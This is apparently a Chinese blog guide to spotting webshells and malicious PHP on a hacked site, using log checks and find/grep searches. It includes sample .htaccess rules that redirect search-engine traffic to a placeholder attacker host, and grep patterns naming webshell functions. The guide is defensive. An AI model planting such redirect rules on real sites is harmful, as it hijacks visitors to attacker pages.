看是否有文件上传操作(POST方法),

IPREMOVED--[01/Mar/2013:06:16:48-0600]"POST/uploads/monthly_10_2012/view.php HTTP/1.1"20036"-""Mozilla/5.0" IPREMOVED--[01/Mar/2013:06:12:58-0600]"POST/public/style_images/master/profile/blog.php HTTP/1.1"20036"-""Mozilla/5.0"

nginx默认记录的日志格式为:

access_log logs/access.log

access_log logs/access.log combined;

nginx默认记录日志的位置为:

nginx安装目录/log/ 0x02 查找含有恶意php代码的文件

2.1 查找最近发生变化的php文件

find.-typef-name'*.php'-mtime-7

-type f 表示搜索正常的一般文件 -mtime -7 表示7*24小时内修改的文件

结果可能如下:

./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php

2.2 查找文件中是否存在疑似代码

find.-typef-name'*.php'|xargsgrep-l"eval *("--color

(*代表任意个空格)

find.-typef-name'*.php'|xargsgrep-l"base64_decode *("--color find.-typef-name'*.php'|xargsgrep-l"gzinflate *("--color find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

注解:很多命令不支持管道传递参数,而实际上又需要这样,所以就用了xargs命令,这个命令可以用来管道传递参数;grep -l表示只包含某个字符串的文件名,如果去掉-l则会显示匹配特定字符串的行内容

几个特殊字符串的意义: eval()把字符串按照php代码来执行,是最常见的php一句话木马

base64_decode() 将字符串base64解码,攻击的时候payload是base64编码,则这个函数就有用武之地了

gzinflate(2881064151) 将字符串解压缩处理,攻击的时候payload用gzdeflate压缩之后,使用这个函数进行解压缩

str_rot13() 对字符串进行rot13编码

也可以使用正则表达式来搜索文件,查找可以代码:

find.-typef-name'*.php'|xargsegrep-i"(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *("

下面解释webshell常用的函数:

mail():可用来向网站用户发送垃圾邮件

fsockopen():打开一个网络连接或者一个unix套接字连接,可用于payload发送远程请求

pfsockopen():和fsockopen()作用类似

stream_socket_client():建立一个远程连接,例子如下:

<?php $fp=stream_socket_client("tcp://www.example.com:80",$errno,$errstr,30); if(!$fp){ echo"$errstr($errno)<br/>\n"; }else{ fwrite($fp,"GET/HTTP/1.0\r\nHost:www.example.com\r\nAccept:*/*\r\n\r\n"); while(!feof($fp)){ echofgets($fp,1024); } fclose($fp); } ?>

exec():命令执行函数

system():同exec()

passthru():同exec()

preg_replace()正则表达式由修饰符"e"修饰的时候,替换字符串在替换之前需要按照php代码执行,这种情况也需要考虑到,这种情况可采用这种以下扫搜:

find.-typef-name'*.php'|xargsegrep-i"preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *,"--color 0x03 比较代码文件

这种情况需要有一份干净的代码,这份代码和正在使用的代码进行比较。例如

diff-rwordpress-clean/wordpress-compromised/-xwp-content

上面的例子是比较wordpress-clean/ 和wordpress-comprised/两个目录,并且目录里面的wp-content/子目录不比较

0x04 搜寻可写的目录

看这个目录里面是否有可疑文件,如下脚本查找权限为777的目录是否存在php文件

search_dir=$(pwd) writable_dirs=$(find$search_dir-typed-perm0777) fordirin$writable_dirs do #echo $dir find$dir-typef-name'*.php' done

黑客经常在jpg文件中插入php代码,因此在查询这些目录的时候也要查询jpg文件:

findwp-content/uploads-typef-iname'*.jpg'|xargsgrep-iphp

注意:-iname 表示文件名不区分大小写 grep -i 也表示不区分大小写

0x05 检测iframe标签

黑客经常做的是嵌入iframe标签,因此可以查看网页的源代码,并且搜索其中是否存在iframe标签,可使用如下命令:

grep-i'<iframe'mywebsite.txt

对于动态生成的页面,可使用ff的Live HTTP Headers插件,下载到源码之后再查找是否存在iframe标签

0x06 查找数据库中是否存在敏感字符串

包括%base64_%、%eval(%<等上面提到的一些关键词

0x07 检查.htaccess文件

是否包含了auto_prepend_file和auto_append_file,使用如下命令

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file find . -type f -name '\.htaccess' | xargs grep -i auto_append_file

auto_prepend_file的作用是加载当前脚本文件之前,先加载的php脚本 auto_append_file的作用是加载当前脚本文件之后,再加载的php脚本。黑客如果这么修改了.htaccess文件,那么可以在访问.htaccess目录的php脚本时,加载上自己想要加载的恶意脚本.

htaccess文件还可以被用来把访问网站的流量劫持到黑客的网站,

RewriteCond %{HTTP_USER_AGENT}^.*Baiduspider.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]

将baidu爬虫的访问重定向到黑客的网站(包含HTTP_USER_AGENT和http关键字)

RewriteCond %{HTTP_REFERER} ^.*baidu.com.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]

将来自baidu搜索引擎的流量重定向到黑客的网站(包含HTTP_REFERER和http关键字) 为了查看网站是否被.htaccess修改导致流量劫持,可以在搜索.htaccess文件的时候采用如下命令:

find . -type f -name '\.htaccess' | xargs grep -i http; find . -type f -name '\.htaccess' | xargs grep -i HTTP_USER_AGENT; find . -type f -name '\.htaccess' | xargs grep -i HTTP_REFERER

htaccess文件还可以被用来把访问网站的流量劫持到黑客的网站的更多相关文章

  1. htaccess文件中RewriteRule 规则参数介绍

    .htaccess 文件 <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d Rew ...

  2. Apache环境修改.htaccess文件实现子目录强制HTTPS访问

    如果要在Apache环境下实现子目录强制HTTPS地址访问,该怎么实现呢?在此文章中将与大家一起分享如何在Apache环境下修改.htaccess文件来实现子目录强制HTTPS地址访问. 1.根目录域 ...

  3. 用.htaccess文件实现URL重写

    注:第一部分来自 http://www.cnblogs.com/wangkongming/archive/2012/11/13/2768251.html     这位博主的个人网站简洁   还有诗歌  ...

  4. iis6上使用.htaccess文件,ISAPI_Rewrite的安装及使用

    在Apache上很有用的.htaccess文件在IIS上就没有,要想实现类似的跳转功能可以使用ISAPI_Rewrite来代替,这是一个专门为IIS设置的工具,目的就是代替.htaccess实现很多功 ...

  5. apache配置rewrite及.htaccess文件(转载)

    今天看到一个哥们的帖子发了个rewrite的帖子,以前也写过一个,配置挺简单的,但当时没注意这个问题,当时没有用到.htaccess文件,在机子上测试了一下,发现确实没法用,于是开始找问题的所在. 自 ...

  6. .htaccess文件详解

    启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用 笼统地来说,.htaccess可以帮我们实现包括:文件夹密码 ...

  7. .htaccess 文件的使用

    用于服务器对文件夹的控制 官方解释为 :分布式配置文件 ,提供了针对目录改变配置的方法; 项目可以有多个这样的配置文件,子目录文件会覆盖父目录的配置 在apache(这里泛指服务器)中,/conf/v ...

  8. .htaccess文件 使用

    .htaccess文件 用法1:自错误页面 ErrorDocument 404 /error/404.html ErrorDocument 403/error/403.html 用法2:重定向 Red ...

  9. .htaccess文件的详解以及404页面的设置

    打开记事本,写入以下代码: ErrorDocument 404 /404.html保存成.htaccess文件上传到网站的根目录. /404.html是目录名和文件名,可以改成自己的名字.QUOTE: ...

随机推荐

  1. PHP格式化显示文件大小函数

    用filesize() 函数可以返回文件的大小,可是返回值是以字节(B)为单位的,看起来不方便.怎么让它根据文件的大小自动以KB.MB.GB为单位显示呢,用下面这个函数就可以实现了. <?php ...

  2. HDU 2376 树形dp|树上任意两点距离和的平均值

    原题:http://acm.hdu.edu.cn/showproblem.php?pid=2376 经典问题,求的是树上任意两点和的平均值. 这里我们不能枚举点,这样n^2的复杂度.我们可以枚举每一条 ...

  3. linux安装php & nginx

    1.安装libxml2 地址:http://ftp.gnome.org/pub/GNOME/sources/libxml2/ wget http://caesar.acc.umu.se/pub/GNO ...

  4. iOS开发——高级篇——图片轮播及其无限循环效果

    平时APP中的广告位.或者滚动的新闻图片等用到的就是图片轮播这种效果,实现方式主要有两种,一种是ScrollView+ImageView,另一种则是通过CollectionView,今天总结的是Scr ...

  5. PHP - xhprof+Graphviz 安装配置

    简介:XHProf是Facebook放出的轻量级调试工具.和Xdebug相比,XHProf更加易用和可控,尤其是生成流程图和调试数据对比的功能很好很强大. 参考:http://us2.php.net/ ...

  6. How to install Shadow•socks in CentOS7

    Helps from: http://www.cmsky.com/shadowsocks-python-install/ http://shadowsocks.blogspot.jp/?m=1 wge ...

  7. iOS应用文件夹

    IOS5多了一个比较重要的功能iCloud,但是同时也出现一个问题,很多的APP都把很大量的数据存在APP底下的Documents(/Documents )文件夹里面,这样苹果会reject掉你的AP ...

  8. jdbc连接数据库(mysql,sqlserver,oracle)

    package com.test; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Prepare ...

  9. error-unable-to-access-the-iis-metabase或者无法加载VS项目中的网站

    参考:http://stackoverflow.com/questions/12859891/error-unable-to-access-the-iis-metabase 1.确定IIS是否安装完整 ...

  10. Datatables JQuery插件

    Datatables是一款jquery表格插件.它是一个高度灵活的工具,可以将任何HTML表格添加高级的交互功能. 分页,即时搜索和排序 几乎支持任何数据源:DOM, javascript, Ajax ...